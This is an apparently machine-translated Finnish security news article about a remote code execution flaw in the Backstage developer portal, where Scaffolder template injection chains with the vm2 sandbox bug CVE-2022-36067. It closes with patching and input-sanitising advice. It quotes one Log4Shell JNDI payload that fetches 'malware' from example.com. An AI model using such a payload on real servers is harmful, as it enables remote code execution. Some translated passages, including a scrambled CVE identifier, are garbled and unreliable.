Log4Shell-tyyppinen koodin suoritusreikä suositussa Backstage-kehittäjätyökalussa PlatoBlockchain Data Intelligence. Pystysuuntainen haku. Ai.

Log4Shell-tyyppinen koodin suoritusreikä suositussa Backstage dev -työkalussa

Pilvikoodauksen tietoturvayhtiö Oxeyen tutkijat ovat kirjoittaneet kriittisen virheen, jonka he löysivät äskettäin suositusta pilvikehitystyökalusarjasta Backstage.

Niiden raportti sisältää selityksen siitä, miten bugi toimii, sekä proof-of-concept (PoC) -koodin, joka näyttää kuinka sitä voidaan hyödyntää.

Backstage on niin kutsuttu pilvikehittäjäportaali – eräänlainen liiketoimintalogiikan taustajärjestelmä, jonka avulla on helppo rakentaa verkkopohjaisia ​​API-liittymiä (sovellusohjelmointirajapintoja), jotta yrityksesi sisällä ja sen ulkopuolella toimivat koodaajat voivat olla vuorovaikutuksessa verkkopalveluidesi kanssa.

Itse projektin sanoin, alun perin luotu Spotifyssa, mutta nyt avoimen lähdekoodin GutHubissa:

Backstage on avoin alusta kehittäjäportaalien rakentamiseen. Keskitetyn ohjelmistoluettelon käyttämä Backstage palauttaa järjestyksen mikropalveluihisi ja infrastruktuuriisi ja mahdollistaa tuotetiimien toimittaman korkealaatuisen koodin nopeasti – riippumattomuudesta tinkimättä.

Backstage yhdistää kaikki infrastruktuurityökalusi, palvelusi ja dokumentaatiosi luodaksesi virtaviivaisen kehitysympäristön päästä päähän.

Ei, emme myöskään todella tiedä mitä se tarkoittaa, mutta tiedämme, että työkalupakki on kirjoitettu JavaScriptillä ja toimii palvelinpuolen JavaScript-järjestelmällä node.jsja vetää sisään toimitusketjun riippuvuuksien verkon NPM-ekosysteemistä.

NPM on lyhenne sanoista Node Package Manager, automatisoitu työkalupakki, jolla varmistetaan, että JavaScript-taustakoodisi voi helposti hyödyntää laajaa valikoimaa avoimen lähdekoodin kirjastoja, jotka tarjoavat suosittuja, valmiiksi kirjoitettuja aputyökaluja kaikkeen salakirjoituksesta ja tietokantojen hallinnasta lokiin ja versionhallintaan.

Etäkoodin suorittaminen

Valitettavasti tänään paljastettu virhe, jos sitä ei korjata, voi antaa todentamattomille ulkopuolisille (löyhästi kaikille, jotka voivat tehdä API-yhteyksiä palvelimiisi) tavan käynnistää etäkoodin suorittaminen (RCE) verkkosi liiketoimintalogiikkapalvelimissa.

Onneksi kuitenkin, jos olemme tulkinneet Oxeye-kirjoituksen oikein, heidän kuvaamansa hyökkäys kulissien takana olevalle RCE:lle riippuu sarjasta koodausvirheitä, jotka lopulta riippuvat tietystä virheestä, joka on nimetty. CVE-2022-36067 toimitusketjun komponentissa, johon Backstage luottaa nimeltä vm2.

Jos mietit, vm2 on yleiskäyttöinen NPM-moduuli, joka toteuttaa "virtuaalisen koneen hiekkalaatikon", jonka tarkoituksena on tehdä mahdollisesti riskialtista JavaScriptistä hieman turvallisempaa käyttää palvelimillasi.

Se CVE-2022-36067 bugi vm2:ssa oli raportoitu elokuussa 2022 itse Oxeye (joka antoi sille PR-ystävällisen nimen "Sandbreak", koska se purkautui hiekkalaatikosta) ja korjattu viipymättä vm2-tiimi lähes kolme kuukautta sitten.

Joten sikäli kuin voimme nähdä, jos olet Backstage-käyttäjä, haluat varmistaa, että olet korjannut kaikki riskialttiit komponentit Backstage-asetuksissasi…

…mutta jos korjasit vm2-komponentin, joka oli haavoittuvainen Sandbreakille kaikki ne kuukaudet sitten, niin näyttää siltä, ​​ettet ole suoraan alttiina Oxeyen viimeisimmässä ilmoituksessa kuvatulle hyväksikäytölle.

Lisäksi, jos kulissien takana palvelimesi on määritetty hyvien kyberturvallisuusohjeiden mukaisesti, kun todennus vaaditaan sekä verkon reunalla että verkon sisällä, et ole vaarassa joutua satunnaisiin "vain tutkijatarkoituksiin" -luettimiin, jotka "avuliaat" henkilöt tekevät. osoittaakseen olevansa kiinnostunut kyberuhkien "tutkimuksesta".

"Emmental-juuston" hyökkäys

Yksinkertaisesti sanottuna äskettäin paljastetut tietoturvaongelmat ovat sivuvaikutuksia useista tietoturvaongelmista, kuten emmental-juustoviipaleiden reikistä, jotka voivat tunkeutua peräkkäin, jos hyökkääjä pystyy kohdistamaan vähintään yhden reiän jokaiseen viipaleeseen.

Kuten ymmärrämme, Backstage sisältää komponentin nimeltä Scaffolder, joka, kuten nimestä voi päätellä, auttaa sinua hallitsemaan erilaisia ​​lisäosia (tunnetaan myös laajennuksina), joita kehittäjäyhteisösi saattaa haluta tai tarvita.

Scaffolder puolestaan ​​hyödyntää Mozillan Nunjucks-nimistä viestien kirjausjärjestelmää, joka sisältää ns. merkkijono mallinnus in node.js ympyrät, kuten merkkijonon interpolointi Java-maailmassa ja kuten merkkijonon korvaaminen järjestelmänvalvojille, jotka käyttävät komentotulkoja, kuten Bash.

Jos merkkijonojen interpolointi soi kelloa, se johtuu luultavasti siitä, että se oli ketjun ytimessä Log4Shell haavoittuvuus joulukuussa 2021, ja Follina bugi vuoden 2022 puolivälissä.

Siellä voit kirjoittaa uudelleen lokiviestin sisällön merkkijonomallin erityisten "koodausmerkkien" perusteella siten, että merkkijono, kuten $USER voidaan korvata palvelimen käyttämällä tilin nimellä tai ${PID} saattaa noutaa nykyisen prosessitunnuksen.

Äärimmäisessä tapauksessa Log4Shell, uteliaan näköinen loitsu ${jndi:ldap://example.com:8888/malware} voi huijata palvelimen suoraan lataamaan ohjelman nimeltä malware alkaen example.com ja pyörittää sitä hiljaa taustalla.

Toisin sanoen, sinun on varmistettava, että epäluotettavasta lähteestä, kuten ulkopuolisesta käyttäjästä, saapuvia tietoja ei koskaan siirretä sokeasti käytettävään merkkijonomallinnus- tai merkkijonointerpolointifunktioon. kuin itse malliteksti.

Jos etäkäyttäjä esimerkiksi yrittää huijata palvelintasi antamalla käyttäjätunnukselleen as ${{RISKY}} (olettaen, että mallikirjasto käyttää ${{...}} sen erikoismerkkinä), sinun on varmistettava, että lokikoodisi tallentaa oikein tuon tuhman näköisen tekstin kirjaimellisesti sellaisena kuin se vastaanotettiin…

...sen sijaan, että kirjattava teksti hallitsisi itse lokitoimintoa!

Vanhan lastenlorun sanoin, sinun on varmistettava, ettet päädy laulamaan: "Minussani on reikä ${{BUCKET}}, rakas Liza, rakas Liza, minulla on reikä ${{BUCKET}}, rakas Liza. Reikä!"

Kääritty turvapeittoon

Ollakseni rehellinen, Nunjucksin ehkä liiankin tehokkaat mallinnus-/interpolointitoiminnot on kääritty Backstagessa vielä toiseen toimitusketjun komponenttiin, nimittäin edellä mainittuun hiekkalaatikkojärjestelmään vm2, jonka oletetaan rajoittavan vaaraa, jonka pahantahtoinen käyttäjä voi tehdä boobylle. -loukussa syöttötiedot.

Valitettavasti Oxeye-tutkijat onnistuivat yhdistämään äskettäin löydetyt merkkijonomallin koodin laukaisupolut Backstage + Scaffolder + Nunjucksissa vm2022-tietoturvakääreen vanhempaan CVE-36067-2-haavoittuvuuteen saavuttaakseen mahdollisen etäkoodin suorittamisen Backstage-palvelimella. .

Mitä tehdä?

Jos olet kulissien takana oleva käyttäjä:

  • Varmista, että sinulla on uusimmat versiot Backstagesta ja sen riippuvuuksista, luettuna plugin-scaffolder-backend komponentti. Oxeyen mukaan Backstage-koodin asiaankuuluvat virheet korjattiin 01. syyskuuta 2022 mennessä, joten minkä tahansa tämän jälkeisen virallisen pistejulkaisun tulisi sisältää korjaukset. Kirjoitushetkellä [2022-11-1T16:00Z] se sisältää kulissien takana 1.6.0, 1.7.0 ja 1.8.0, julkaistu 2022-09-21, 2022-10-18 ja 2022-11-15.
  • Tarkista, että Backstage-asennuksesi todennus on määritetty odotetulla tavalla. Oxeye väittää, että todennus on oletuksena pois päältä ja että sen jälkeen Ohjeita kulissien takana, taustapalvelimet (joita ei luultavasti kuitenkaan ole tarkoitus paljastaa ulkoisesti) sallivat edelleen todentamattoman pääsyn. Se voi olla mitä haluat, mutta suosittelemme käyttämään tätä ongelmaa syynä tarkistaaksesi, että asetukset vastaavat aikomuksiasi.
  • Tarkista, mihin Backstage-infrastruktuurisi osiin pääsee Internetistä. Käytä tätä ongelmaa jälleen kerran syynä oman verkkosi skannaamiseen ulkopuolelta, jos et ole tehnyt niin lähiaikoina.

Jos olet node.js/NPM-käyttäjä:

  • Varmista, että sinulla on uusin versio vm2-hiekkalaatikkokomponentista. Tämä saattaa olla asennettuna muiden käyttämiesi ohjelmistojen riippuvuutena, vaikka sinulla ei olisi Backstagea. CVE-2022-36067-haavoittuvuus korjattiin 2022-08-28, joten haluat vm2-version 3.9.11 tai uudempi.

Jos olet ohjelmoija:

  • Ole niin puolustava kuin voit kutsuessasi tehokkaita lokitoimintoja. Jos käytät lokipalvelua (mukaan lukien Nunjucks tai Log4J), joka sisältää tehokkaita mallinnus-/interpolointiominaisuuksia, poista käytöstä kaikki tarpeettomat ominaisuudet, jotta niitä ei voida vahingossa hyödyntää. Varmista, että epäluotettavaa syötettä ei koskaan käytetä mallina, mikä estää hyökkääjiä syöttämästä omia suoraan vaarallisia syötemerkkijonojaan.
  • Huolimatta muista käytössä olevista varotoimista, desinfioi kirjaustulosi ja -lähtösi. Muista, että jonkun muun on avattava lokitiedostosi tulevaisuudessa. Älä anna tahattomien ansaiden joutumista lokitiedostoosi, koska ne voivat aiheuttaa ongelmia myöhemmin, kuten HTML-fragmentteja, joissa on komentosarjatunnisteita. (Joku saattaa avata tiedoston selaimessa vahingossa.)

Vaikka saisitkin syötteen luotettavasta lähteestä, on harvoin syytä olla tekemättä sitä omien desinfiointitarkastusten kautta ennen sen käyttöä.

(Voit ajoittain perustella poikkeuksen, esimerkiksi suorituskykysyistä, mutta sen pitäisi olla poikkeus, ei sääntö.)

Ensinnäkin uudelleentarkistus auttaa havaitsemaan virheet, joita aiemmat koodaajat ovat saattaneet tehdä hyvässä uskossa; toiseksi se auttaa rajoittamaan huonon tai salaperäisen tiedon leviämistä, jos jokin muu ekosysteemisi osa vaarantuu.

Aiemmin mainitsemissamme emmental-juustoviipaleissa on se, että vaikka ne ovatkin läpäiseviä, jos jokaisessa levyssä on vähintään yksi reikä…

…ne ovat läpäisemättömiä, jos ainakin yhdessä levyssä on reikiä, jotka eivät ole kohdakkain!


Aikaleima:

Lisää aiheesta Naked Security